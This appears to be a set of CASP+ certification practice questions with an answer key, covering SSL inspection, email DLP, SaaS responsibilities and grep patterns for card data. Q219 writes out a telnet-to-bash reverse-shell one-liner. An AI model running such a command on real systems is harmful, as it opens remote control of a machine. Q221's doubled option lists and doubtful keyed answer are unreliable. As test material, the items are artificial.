## **CompTIA Advanced Security Practitioner (CASP+) Exam Sample Questions (Q217-Q222):**

### **NEW QUESTION # 217**

A company is implementing SSL inspection. During the next six months, multiple web applications that will be separated out with subdomains will be deployed.

Which of the following will allow the inspection of the data without multiple certificate deployments?

- A. Use a third-party CA.
- B. Include all available cipher suites.
- C. Implement certificate pinning.
- D. **Create a wildcard certificate.**

**Answer: D**

### **NEW QUESTION # 218**

The Chief information Officer (CIO) asks the system administrator to improve email security at the company based on the following requirements:

- \* Transaction being requested by unauthorized individuals.
- \* Complete discretion regarding client names, account numbers, and investment information.
- \* Malicious attackers using email to malware and ransomware.
- \* Exfiltration of sensitive company information.

The cloud-based email solution will provide anti-malware reputation-based scanning, signature-based scanning, and sandboxing. Which of the following is the BEST option to resolve the board's concerns for this email migration?

- A. Application whitelisting
- B. Endpoint detection response
- C. **Data loss prevention**
- D. SSL VPN

**Answer: C**

Explanation:

Data loss prevention (DLP) is the best option to resolve the board's concerns for this email migration. DLP is a set of tools and policies that aim to prevent unauthorized access, disclosure, or exfiltration of sensitive data. DLP can monitor, filter, encrypt, or block email messages based on predefined rules and criteria, such as content, sender, recipient, attachment, etc. DLP can help protect transactions, customer data, and company information from being compromised by malicious actors or accidental leaks.

### NEW QUESTION # 219

A penetration tester inputs the following command:

```
telnet 192.168.99.254 343 | /bin/bash | telnet 192.168.99.254 344
```

This command will allow the penetration tester to establish a:

- A. proxy chain
- B. reverse shell
- C. network pivot
- D. port mirror

**Answer: B**

Explanation:

The command depicted is indicative of a reverse shell, which is a type of shell where the target system initiates an outgoing connection to a remote host, and then standard input and output of the command line interface on the target system is redirected through this connection to the remote host. This is typically used by an attacker after exploitation to open a remote command line interface to control the compromised machine.

### NEW QUESTION # 220

When managing and mitigating SaaS cloud vendor risk, which of the following responsibilities belongs to the client?

- A. Storage
- B. Data
- C. Physical security
- D. Network

**Answer: B**

Explanation:

In a SaaS cloud service model, the client is typically responsible for the data, including its security and compliance aspects. The SaaS provider would handle the infrastructure, including physical security and network security, but the client must ensure the data they input into the SaaS application is protected in line with their own security policies and compliance requirements.

### NEW QUESTION # 221

An organization's finance system was recently attacked. A forensic analyst is reviewing the contents Of the compromised files for credit card data.

Which of the following commands should the analyst run to BEST determine whether financial data was lost?

- A. grep -v '^4[0-9]{12}(?:[0-9]{3})?\$\$' file
- B. grep '^4[0-9]{12}(?:[0-9]{3})?\$\$' file
- C. grep '^6(?:011|5[0-9]{2})[0-9]{12}?' file
- D. grep -v '^6(?:011|5[0-9]{2})[0-9]{12}?' file

- A. Option B
- B. Option C
- C. Option A
- D. Option D

**Answer: B**

## NEW QUESTION # 222
